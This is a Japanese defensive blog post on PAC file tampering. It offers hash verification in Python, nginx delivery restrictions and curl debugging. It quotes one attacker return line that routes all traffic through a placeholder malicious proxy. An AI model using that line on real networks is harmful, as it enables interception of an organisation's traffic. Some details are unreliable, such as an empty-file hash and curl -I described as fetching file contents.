境界防御の盲点：PACファイルという「見えない背後霊」をどう制御するか
現場でネットワークトラブルの調査をしていると、クライアントPCがなぜか意図しない外部サーバーへ通信を試みている場面に遭遇することがある。IDS/IPSのログを掘り下げると、原因はたいてい「プロキシ自動設定（PAC）ファイルの改ざん」だ。
「え、たかがブラウザのプロキシ設定でしょ？」と侮るなかれ。PACファイルは、OSやブラウザが通信を行うたびに実行されるJavaScriptだ。ここに悪意あるコードを仕込まれれば、全トラフィックが攻撃者の踏み台（C2サーバー）を通過するように仕向けられる。いわば、ネットワークの交通整理役を乗っ取られるようなものだ。
今回は、この「PACファイルの脆弱性」という盲点について、実務的な防衛策を深掘りしていく。
—
PACファイルが狙われる理由：通信フローの深層
PACファイルは、ブラウザがURLにアクセスする際、まず FindProxyForURL(url, host) 関数を呼び出し、戻り値としてプロキシの接続先を取得する仕組みだ。
通信シーケンスの脆弱点
1. 取得時: クライアントがDHCPやWPAD（Web Proxy Auto-Discovery）経由でPACファイルのURLを取得する。
2. 実行時: クライアントは定期的にこのURLからJSファイルを取得し、メモリ上で実行する。
もし、このPACファイルがHTTPSで保護されておらず、かつ検証も甘ければ、中間者攻撃（MitM）で容易に書き換えられる。攻撃者は return "PROXY evil-proxy.com:8080"; と返すだけで、組織内の全通信を傍受できるわけだ。
—
現場で取り組むべき「PACの整合性検証」
PACファイルを守るための鉄則は「信用しないこと」だ。以下の対策を現場の設計に組み込んでほしい。
1. HTTPではなくHTTPSで配信する
最も基本的なことだが、依然として内部LANでHTTP配信している現場は多い。TLSによる暗号化だけでなく、証明書の検証（Strict-Transport-Security）を徹底せよ。
2. PACファイルの整合性をコードで叩く
配信元を信頼するだけでなく、取得したPACファイルが改ざんされていないか、クライアント側（あるいは配信中継点）でチェックするロジックを組むべきだ。
例えば、PythonでPACファイルをフェッチし、ハッシュ値で整合性を確認するスクリプトの例を挙げる。
import hashlib
import requests
# 許可されたPACファイルの期待されるハッシュ値（SHA-256）
EXPECTED_HASH = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
def verify_pac_file(url):
try:
# タイムアウトを厳格に設定し、悪意あるレスポンス遅延を防ぐ
response = requests.get(url, timeout=5)
response.raise_for_status()
# 取得したファイルのハッシュを計算
sha256 = hashlib.sha256(response.content).hexdigest()
if sha256 == EXPECTED_HASH:
print("整合性検証OK: PACファイルは安全です")
return response.text
else:
raise Exception("警告: PACファイルのハッシュが一致しません！")
except Exception as e:
print(f"エラー: {e}")
return None
# 実行
pac_content = verify_pac_file("https://proxy-server.internal/wpad.pac")—
実務で役立つ「PAC配信の制限」Tips
配信設定一つでセキュリティは大きく変わる。エンジニアが確認すべきパラメータは以下の通りだ。
配信サーバー（Nginx等）のセキュリティヘッダー
PACファイルを配信するサーバーには、以下のHTTPヘッダーを付与することを強く推奨する。
# PACファイル配信場所の設定例
location /wpad.pac {
# 外部からの直接アクセスを防止
allow 192.168.1.0/24;
deny all;
# MIMEタイプを厳格に設定（JSの実行を強制）
add_header Content-Type "application/x-ns-proxy-autoconfig";
# ブラウザによるキャッシュを制御（改ざん検知のため短く設定）
add_header Cache-Control "no-cache, no-store, must-revalidate";
# 厳格なトランスポートセキュリティ
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";
}—
トラブルシューティング：デバッグの勘所
もしネットワークが不審な挙動を見せたら、まずはクライアントが「現在どのPACファイルを見ているか」を特定せよ。
1. curl で直接叩く:
# PACファイルの中身を直接取得して、悪意ある関数が含まれていないか目視確認
curl -Iv https://proxy-server.internal/wpad.pac2. ブラウザのデベロッパーツール:
Chrome等の場合、chrome://net-export/ でネットワークログをダンプし、ProxyConfig の適用状況を追うのが定石だ。
最後に：防御は「多層」であるべき
PACファイルへの攻撃は、境界防御の隙を突く非常に巧妙な手法だ。しかし、PACファイル単体で全てを防ぐ必要はない。
- PACファイルの配信経路を制限する（IPホワイトリスト）
- PACファイルの内容を定期的に自動検証する（ハッシュチェック）
- そもそもWPADを無効化し、GPOやMDMでプロキシ設定を固定配布する
これらを組み合わせれば、攻撃者が入り込む余地は劇的に減る。ネットワークは生き物だ。システムを構築して終わりではなく、PACという「隠れた設定」が日々どう振る舞っているか、ログを通じて常に監視し続けてほしい。現場のエンジニア諸君、健闘を祈る。
コメント